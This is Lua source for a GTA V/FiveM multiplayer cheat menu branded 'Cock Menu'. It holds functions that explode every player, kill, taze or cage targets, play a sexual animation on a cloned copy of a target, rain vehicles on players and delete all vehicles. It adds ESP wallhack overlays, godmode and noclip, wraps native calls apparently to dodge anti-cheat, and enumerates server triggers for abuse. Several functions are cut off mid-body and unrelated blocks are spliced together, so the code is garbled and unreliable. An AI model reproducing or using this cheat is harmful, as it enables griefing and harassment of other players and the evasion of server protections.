Fatasf.n.SetEntityHeading(obj2, 90.0)
Fatasf.n.FreezeEntityPosition(obj2, true)
obj3 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y + 0.6,
coords.z - 1,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj3, true)
obj4 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x + 1.05,
coords.y - 1.05,
coords.z - 1,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj4, 90.0)
Fatasf.n.FreezeEntityPosition(obj4, true)
obj5 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y - 1,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj5, true)
obj6 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.55,
coords.y - 1.05,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj6, 90.0)
Fatasf.n.FreezeEntityPosition(obj6, true)
obj7 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y + 0.6,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj7, true)
obj8 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x + 1.05,
coords.y - 1.05,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj8, 90.0)
Fatasf.n.FreezeEntityPosition(obj8, true)
end
end,
FlyAllVehs = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.NetworkRequestControlOfEntity(vehicle)
CockT.Inv["Invoke"](CockT.Natives['ApplyForceToEntity'],
vehicle, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0, 0, 1, 1, 0, 1)
end
end,
HackPlayer = function(player)
CockT.Inv['Thread'](function()
Sec = 0
while (CockT.Math.floor(Sec) < 20) do
CockT.display_menu = false
Fatasf.n.DrawSprite("loadhack", "menu_gif", 0.5,
0.5, 1.920, 1.0, 0.0, 255, 255, 255, 255)
Sec = Sec + 0.09
CockT.Inv["Wait"](0)
end
CockT.display_menu = true
end)
end,
DelAllVehs = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.DeleteEntity(vehicle)
end
end,
ExplodeAllPlayer = function()
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(i)), 8, 100.0,
true, false, 0.0)
end
end,
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(target), true)
)
local pp =
Fatasf.n.ClonePed(
Fatasf.n.GetPlayerPed(target),
1,
1,
1
)
CockT.Inv["Invoke"]
(CockT.Natives["SetEntityAsMissionEntity"], pp, true, true)
Fatasf.n.AttachEntityToEntity(
pp,
Fatasf.n.GetPlayerPed(target),
4103,
11816,
count,
0.00,
0.0,
0.0,
0.0,
0.0,
false,
false,
false,
false,
2,
true
)
CockT.Inv["Invoke"](
CockT.Natives["ClearPedTasks"],
Fatasf.n.GetPlayerPed(target)
)
Fatasf.n.TaskPlayAnim(
Fatasf.n.GetPlayerPed(target),
"rcmpaparazzo_2",
"shag_loop_poppy",
2.0,
2.5,
-1,
49,
0,
0,
0,
0
)
Fatasf.n.SetPedKeepTask(pp)
Fatasf.n.TaskPlayAnim(
pp,
"rcmpaparazzo_2",
"shag_loop_a",
2.0,
2.5,
-1,
49,
0,
0,
0,
0
)
Fatasf.n.SetEntityInvincible(pp, true)
count = count - 0.4
end
end
)
end,
DrawAKLine = function(bone)
local retval, _x, _y =
Fatasf.n.GetScreenCoordFromWorldCoord(CockT.Strings.tunpack(Fatasf.n.GetPedBoneCoor
ds(pPed, bone)))
Fatasf.n.DrawRect(_x - 0.01 / Distance, _y - 0.02, 0.0005 ,
0.6 / Distance, 20, 254, 10, 255)
end,
KBInput = function(TextEntry, ExampleText, MaxStringLength)
Fatasf.n.AddTextEntry("FMMC_KEY_TIP1", TextEntry .. ":")
CockT.Inv["Invoke"](
CockT.Natives["DisplayOnscreenKeyboard"],
1,
"FMMC_KEY_TIP1",
"",
ExampleText,
"",
"",
"",
MaxStringLength
)
blockinput = true
while Fatasf.n.UpdateOnscreenKeyboard() ~= 1 and
Fatasf.n.UpdateOnscreenKeyboard() ~= 2 do
CockT.Inv["Wait"](0)
end
if Fatasf.n.UpdateOnscreenKeyboard() ~= 2 then
result = Fatasf.n.GetOnscreenKeyboardResult()
CockT.Inv["Wait"](500)
blockinput = false
return result
else
CockT.Inv["Wait"](500)
blockinput = false
return nil
end
end,
TazePlayer = function(player)
local ped = Fatasf.n.GetPlayerPed(player)
local location = Fatasf.n.GetEntityCoords(ped)
local dest = Fatasf.n.GetPedBoneCoords(ped, 0, 0.0, 0.0,
0.0)
local org = Fatasf.n.GetPedBoneCoords(ped, 57005, 0.0, 0.0,
0.2)
Fatasf.n.ShootSingleBulletBetweenCoords(org, dest, 0.0,
true, Fatasf.n.GetHashKey('WEAPON_STUNGUN'), Fatasf.n.PlayerPedId(), true, false,
1.0)
end,
KillPlayer = function(player)
local ped = Fatasf.n.GetPlayerPed(player)
local location = Fatasf.n.GetEntityCoords(ped)
local dest = Fatasf.n.GetPedBoneCoords(ped, 0, 0.0, 0.0,
0.0)
local org = Fatasf.n.GetPedBoneCoords(ped, 57005, 0.0, 0.0,
0.2)
Fatasf.n.ShootSingleBulletBetweenCoords(org, dest, 50.0,
true, Fatasf.n.GetHashKey('WEAPON_PISTOL'), Fatasf.n.PlayerPedId(), true, false,
10000.0)
end,
TranslateFOVInNumber = function(sw)
px = sw / 80
px2 = 16 * px
return (sw - px2) / 2
end,
Lerp = function(delta, from, to)
if delta > 1 then return to end
if delta < 0 then return from end
CockT.Math.abs(CockT.Math.cos(CockT.Math.rad(Rotationation.x))),
CockT.Math.cos(CockT.Math.rad(Rotationation.z)) *
CockT.Math.abs(CockT.Math.cos(CockT.Math.rad(Rotationation.x))),
CockT.Math.sin(CockT.Math.rad(Rotationation.x))
)
end,
ShitRain = function(target, model, result)
CockT.Inv["Thread"](
function(result)
for tye = 0, result do
VehicleHash = Fatasf.n.GetHashKey(model)
Fatasf.n.RequestModel(VehicleHash)
x, y, z =
CockT.Strings.tunpack(
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(target))
)
while not Fatasf.n.HasModelLoaded(VehicleHash)
do
Fatasf.n.RequestModel(VehicleHash)
CockT.Inv["Wait"](15)
end
local cockmenu = {p = 82, s = 80}
local SpawnedVeh =
Fatasf.n.CreateVehicle(
VehicleHash,
x,
y,
z + 20.0,
0.0,
true,
false
)
CockT.Inv["Invoke"]
(CockT.Natives["SetVehicleColours"], SpawnedVeh, cockmenu.p, cockmenu.s)
Fatasf.n.SetVehicleNumberPlateText(SpawnedVeh,
"Cock Menu")
Fatasf.n.SetEntityVelocity(SpawnedVeh, 0.0, 0.0,
-100.0)
end
end
)
end,
instructbutton = function()
local dW = {
{["label"] = "Change Speed", ["button"] =
"~INPUT_SPRINT~"},
{["label"] = "Down", ["button"] =
"~INPUT_HUD_SPECIAL~"},
{["label"] = "Up", ["button"] = "~INPUT_COVER~"},
{["label"] = "Back", ["button"] =
"~INPUT_MOVE_DOWN_ONLY~"},
{["label"] = "Forward", ["button"] =
"~INPUT_MOVE_UP_ONLY~"}
}
local dX = CockT.Inv["Invoke"]
(CockT.Natives["RequestScaleformMovie"], "instructional_buttons")
while not CockT.Inv["Invoke"]
(CockT.Natives["HasScaleformMovieLoaded"], dX) do
CockT.Inv["Wait"](0)
end
for dY, dZ in CockT.Math.ipairs(dW) do
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunction"], dX, "SET_DATA_SLOT")
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunctionParameterInt"], dY - 1)
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieMethodParameterButtonName"], dZ["button"])
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunctionParameterString"], dZ["label"])
CockT.Inv["Invoke"]
(CockT.Natives["PopScaleformMovieFunctionVoid"])
end
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunction"], dX, "DRAW_INSTRUCTIONAL_BUTTONS")
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunctionParameterInt"], -1)
CockT.Inv["Invoke"]
(CockT.Natives["PopScaleformMovieFunctionVoid"])
CockT.Inv["Invoke"]
(CockT.Natives["DrawScaleformMovieFullscreen"], dX, 255, 255, 255, 255)
end,
CamFwdVect = function(camf)
coords = Fatasf.n.GetCamCoord(camf)
rot = Fatasf.n.GetCamRot(camf, 0)
return CockT.Global.RotToQuat(rot) *
CockT.Strings.vector3(0.0, 1.0, 0.0)
end,
CamRightVect = function(camf)
coords = Fatasf.n.GetCamCoord(camf)
rot = Fatasf.n.GetCamRot(camf, 0)
qrot = quat(0.0, CockT.Strings.vector3(rot.x, rot.y, rot.z))
return CockT.Global.RotToQuat(rot) *
CockT.Strings.vector3(1.0, 0.0, 0.0)
end,
LoadHack = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("loadhack")
local banner_dui =
Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/KQs7A9cr.gif", 640, 360)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd,
"menu_gif", b_dui)
end,
LoadGif1 = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("cockmenuuu")
local banner_dui =
Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/N31thLbZ.gif", 400, 107)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd,
"menu_gif", b_dui)
end,
LoadGifLSC = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("cock_lsc")
local banner_dui =
Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/zWCuP51E.gif", 400, 107)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd,
"menu_gif", b_dui)
end,
LoadGif2 = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("cockmenuuu")
local banner_dui =
Fatasf.n.CreateAnDui(
"https://cdn.upload.systems/uploads/5jVIL5F4.gif",
400,
235
)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd,
"menu_gif", b_dui)
end,
LoadGif3 = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("cockmenuuu")
local banner_dui =
Fatasf.n.CreateAnDui(
"https://cdn.upload.systems/uploads/apVE5sjc.gif",
400,
107
)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd,
"menu_gif", b_dui)
end,
LoadGif4 = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("cockmenuuu")
local banner_dui =
Fatasf.n.CreateAnDui(
"https://cdn.upload.systems/uploads/FBV9rFVS.gif",
500,
281
)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd,
"menu_gif", b_dui)
end,
Fatasf.n.GetResourcestatus(fitimeone[i])
then
v.resource = fitimeone[i]
end
end
else
if CockT.Strings.find(script,
v.resourcelooklike) and Fatasf.n.GetResourcestatus(fitimeone[i]) then v.resource =
fitimeone[i]
end
end
end
end
CockT.Inv["Wait"](100)
for k, v in CockT.Math.pairs(CockT.DynamicTriggers)
do
Functions.f.GetAllTriggers(v)
CockT.Inv["Wait"](15)
end
end)
end,
},
}
CockMeni.Functions.LoadGif1()
CockMeni.Functions.LoadHack()
CockMeni.Functions.UpdateAllTriggers()
CockMeni.Functions.stscr = 0.0
CockT.Inv["Thread"](function()
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
local value, label = Functions.f.BindOnStart()
CockMenu.CockKeybinds.Menu.OpenMenuKey["Label"] = label
CockMenu.CockKeybinds.Menu.OpenMenuKey["Value"] = value
break
end
end)
CockT.Inv["Thread"](function()
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
if Fatasf.n.IsDisabledControlJustReleased(1,
CockMenu.CockKeybinds.Menu.OpenMenuKey["Value"]) then
CockT.display_menu = not CockT.display_menu
end
if CockT.display_menu then
CockMeni.Functions.MButtons()
CockT.Global.Dmovement(true)
--=
CockT.Inv["Thread"](function()
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
if Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.Noclip["Value"]) then
Cock.Menu.NClip = not Cock.Menu.NClip
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.Heal["Value"]) then
Fatasf.n.SetEntityHealth(Fatasf.n.PlayerPedId(), 200)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.Revive["Value"]) then
CockMenu.Main.natRe()
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.Armour["Value"]) then
Fatasf.n.SetPedArmour(Fatasf.n.PlayerPedId(), 100)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.Freecam["Value"]) then
Cock.Menu.Freecam = not Cock.Menu.Freecam
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.Godmode["Value"]) then
Cock.Menu.Godmode = not Cock.Menu.Godmode
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.fixveh["Value"]) then
Functions.f.RepairVehicle()
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.givevintage["Value"]) then
Fatasf.n.GiveWeaponToPed(Fatasf.n.PlayerPedId(),
Fatasf.n.GetHashKey("weapon_vintagepistol"), 150, false, false)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.givepistol["Value"]) then
Fatasf.n.GiveWeaponToPed(Fatasf.n.PlayerPedId(),
Fatasf.n.GetHashKey("weapon_pistol"), 150, false, false)
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.invisible["Value"]) then
Cock.Menu.invisible = not Cock.Menu.invisible
elseif Fatasf.n.IsDisabledControlJustPressed(0,
CockMenu.CockKeybinds.Menu.unlockveh["Value"]) then
local vehicle = CockT.Inv["Invoke"]
(CockT.Natives['GetClosestVehicle'],
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 15.0, 0, 70)
Functions.f.UnlockVehicle(vehicle)
end
if Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false) ~=
0 then
--SetVehicleFuelLevel(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId()),
Cock.Sliders['FuelVal'].value)
end
--Fatasf.n.SetRunSprintMultiplierForPlayer(Fatasf.n.PlayerId(-
1), CockT.Global.mathround(Cock.Sliders['Sprint'].value, 2))
--Fatasf.n.SetPedMoveRateOverride(Fatasf.n.PlayerPedId(),
CockT.Global.mathround(Cock.Sliders['Sprint'].value, 2))
if Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false) ~=
0 then
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleGravityAmount'],
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId()),
Cock.Sliders['VehSpeed'].value+0.0)
end
if Cock.Menu.cockplate then
CockMeni.Functions.cockplate()
end
if Cock.Menu.DriveToWaypoint then
CockMeni.Functions.DriveToWaypoint()
end
if Cock.Menu.nofall then
CockT.Inv["Invoke"]
(CockT.Natives["SetPedCanBeKnockedOffVehicle"], Fatasf.n.PlayerPedId(), true)
else
CockT.Inv["Invoke"]
(CockT.Natives["SetPedCanBeKnockedOffVehicle"], Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.vehesp then
for vehs in Fatasf.n.EnumerateVehicles() do
local vehX, vehY, vehZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(vehs))
local xx =
CockT.Math.tonumber(CockT.Strings.format("%.2f", vehX))
local yy =
CockT.Math.tonumber(CockT.Strings.format("%.2f", vehY))
local zz =
CockT.Math.tonumber(CockT.Strings.format("%.2f", vehZ))
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(vehs),
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), true) <
Cock.Sliders['EspDistance'].value+0.0 then
local text = 'Model:
'..Fatasf.n.GetDisplayNameFromVehicleModel(Fatasf.n.GetEntityModel(vehs))..'\nHash:
'..Fatasf.n.GetEntityModel(vehs)..'\n~g~X: ~s~'..xx..' ~g~Y: ~s~'..yy..' ~g~Z:
~s~'..zz
CockT.Global.DrawTextOnCoords(xx, yy, zz, text, 255,
255, 255, 0, 0.20)
end
end
end
if Cock.Menu.blipsonmap then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if Cock.Menu.espglow then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if Cock.Menu.cornerbox then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(-0.265/dist, -0.92/dist, 1 /
X, 0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(-0.265/dist, 0.92/dist, 1 / X,
0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.265/dist, -0.92/dist, 1 / X,
0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.265/dist, 0.92/dist, 1 / X,
0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(-0.215/dist, -0.994/dist,
0.1/dist, 1 / Y, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.215/dist, -0.994/dist,
0.1/dist, 1 / Y, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.215/dist, 0.994/dist,
0.1/dist, 1 / Y, 255, 255, 255, 255)
Fatasf.n.DrawRect(-0.215/dist, 0.994/dist,
0.1/dist, 1 / Y, 255, 255, 255, 255)
end
end
Fatasf.n.ClearDrawOrigin()
end
end
if Cock.Menu.hpbar then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(-0.2745 / dist - (dist /
500) / dist, 0, 0.0015, 2.0 / dist, 0, 0, 0, 90)
Fatasf.n.DrawRect(-0.2745 / dist - (dist /
500) / dist, 0.999 / dist - Fatasf.n.GetEntityHealth(pPed) / 195 / dist, 0.0005,
Fatasf.n.GetEntityHealth(pPed) / 98 / dist, 30, 255, 30, 255)
end
end
Fatasf.n.ClearDrawOrigin()
end
end
if Cock.Menu.armourbar then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(0, 0, 0.53 / dist, 2.0 / dist,
0, 0, 0, 140)
end
end
end
end
if Cock.Menu.boxesV2 then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Fatasf.n.IsEntityOnScreen(pPed) then
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) < Cock.Sliders['EspDistance'].value+0.0 and
pPed ~= er then
local dist =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(pPed), true)
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(0, -0.999 / dist, 0.53 / dist,
0.001, 255, 20, 10, 255)
Fatasf.n.DrawRect(0, 0.999 / dist, 0.53 / dist,
0.001, 255, 20, 10, 255)
Fatasf.n.DrawRect(-0.265 / dist, 0, 0.0006,
2.0 / dist, 255, 20, 10, 255)
Fatasf.n.DrawRect(0.265 / dist, 0, 0.0006, 2.0 /
dist, 255, 20, 10, 255)
end
end
Fatasf.n.ClearDrawOrigin()
end
end
if Cock.Menu.boxes then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(0, -0.999 / dist, 0.53 / dist,
0.001, 255, 255, 255, 255)
Fatasf.n.DrawRect(0, 0.999 / dist, 0.53 / dist,
0.001, 255, 255, 255, 255)
Fatasf.n.DrawRect(-0.265 / dist, 0, 0.0006,
2.0 / dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.265 / dist, 0, 0.0006, 2.0 /
dist, 255, 255, 255, 255)
end
end
Fatasf.n.ClearDrawOrigin()
end
end
if Cock.Menu.infos then
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local player = Fatasf.n.GetPlayerPed(v)
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(player),
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), true) <
Cock.Sliders['EspDistance'].value+0.0 and player ~= er then
local playerX, playerY, playerZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(player))
local position =
Fatasf.n.GetEntityCoords(player)
local xx =
CockT.Math.tonumber(CockT.Strings.format("%.2f", playerX))
local yy =
CockT.Math.tonumber(CockT.Strings.format("%.2f", playerY))
local zz =
CockT.Math.tonumber(CockT.Strings.format("%.2f", playerZ))
local pos = {x = xx, y = yy, z = zz}
if Cock.Menu.skeletons then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local ped = Fatasf.n.GetPlayerPed(v)
local Pped = Fatasf.n.PlayerPedId()
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(ped),
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), true) <
Cock.Sliders['EspDistance'].value+0.0 and ped ~= er then
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
31086, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 39317, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
39317, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 11816, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
11816, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 16335, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
11816, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 46078, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
16335, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 52301, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
46078, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 14201, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
46078, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 14201, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
39317, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 40269, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
39317, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 45509, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
40269, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 28252, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
45509, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 61163, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
28252, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 57005, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
61163, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 18905, 0.0, 0.0, 0.0),
255, 255, 255, 255)
end
--[[if ped ~= Fatasf.n.PlayerPedId() then
CockT.Inv["Invoke"](CockT.Natives['DrawMarker'], 28,
Functions.f.GetPedBoneCoords(ped, 0x796E, 0.0, 0.0, 0.0), 0.0, 0.0, 0.0, 0.0,
180.0, 0.0, 0.3 / GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(ped), true), 0.3 /
GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(ped), true), 0.4 /
GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(ped), true), 255, 255, 255, 255, false, false, 2, nil,
nil, true) --false, false, 2, nil, nil, true, true)
end]]
end
end
if notification then
notification['opacity'] = (notification['opacity']
or (notification['time'] / 1000) * 60) - 1
local offset = 35.1 - (notificationIndex * 1.0)
local timer = (Fatasf.n.GetGameTimer() -
notification['startTime']) / notification['time'] * 100
CockT.Global.DrawText(notification['text'], 0.015,
0.023*offset, _outl, 0.3, 4, false)
if timer >= 100 then
CockT.Strings.tremove(Cock.Notifications,
notificationIndex)
end
end
end
end
if Cock.Menu.burnplayercar then
CockMeni.Functions.BurnPlayerCar(CockT.Global.SelectedPlayer)
end
if Cock.Menu.fastswim then
CockT.Inv["Invoke"]
(CockT.Natives['SetSwimMultiplierForPlayer'], Fatasf.n.PlayerId(), 1.49)
else
CockT.Inv["Invoke"]
(CockT.Natives['SetSwimMultiplierForPlayer'], Fatasf.n.PlayerId(), 1.0)
end
if Cock.Menu.antidrowing then
CockT.Inv["Invoke"](CockT.Natives['SetPedDiesInWater'],
Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.antihead then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedSuffersCriticalHits'], Fatasf.n.PlayerPedId(), false)
else
CockT.Inv["Invoke"]
(CockT.Natives['SetPedSuffersCriticalHits'], Fatasf.n.PlayerPedId(), true)
end
if Cock.Menu.fakedead then
Fatasf.n.SetPedToRagdoll(Fatasf.n.PlayerPedId(), 4000, 5000,
0, true, true, true)
end
if Cock.Menu.fakedead then
Fatasf.n.SetPedToRagdoll(Fatasf.n.PlayerPedId(), 4000, 5000,
0, true, true, true)
end
if Cock.Menu.wantedlevel then
CockT.Inv["Invoke"](CockT.Natives['SetPlayerWantedLevel'],
Fatasf.n.PlayerId(), Cock.Sliders['WantedLVL'].value, false)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerWantedLevelNow'], Fatasf.n.PlayerId())
end
if Cock.Menu.antistungun then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedMinGroundTimeForStungun'], Fatasf.n.PlayerPedId(), 0)
elseif not Cock.Menu.antistungun then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedMinGroundTimeForStungun'], Fatasf.n.PlayerPedId(), 3600)
end
if Cock.Menu.noragdoll then
CockT.Inv["Invoke"](CockT.Natives['SetPedCanRagdoll'],
Fatasf.n.PlayerPedId(), true)
else
CockT.Inv["Invoke"](CockT.Natives['SetPedCanRagdoll'],
Fatasf.n.PlayerPedId(), true)
end
if Cock.Menu.superrun then
if Fatasf.n.IsDisabledControlPressed(0, 34) or
Fatasf.n.IsDisabledControlPressed(0, 33) or Fatasf.n.IsDisabledControlPressed(0,
32) or Fatasf.n.IsDisabledControlPressed(0, 35) then
Fatasf.n.SetEntityVelocity(Fatasf.n.PlayerPedId(),
Fatasf.n.GetOffsetFromEntityInWorldCoords(Fatasf.n.PlayerPedId(), 0.0, 10.5,
GetEntityVelocity(Fatasf.n.PlayerPedId())[3]) -
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
end
end
if Cock.Menu.ExtraJump then
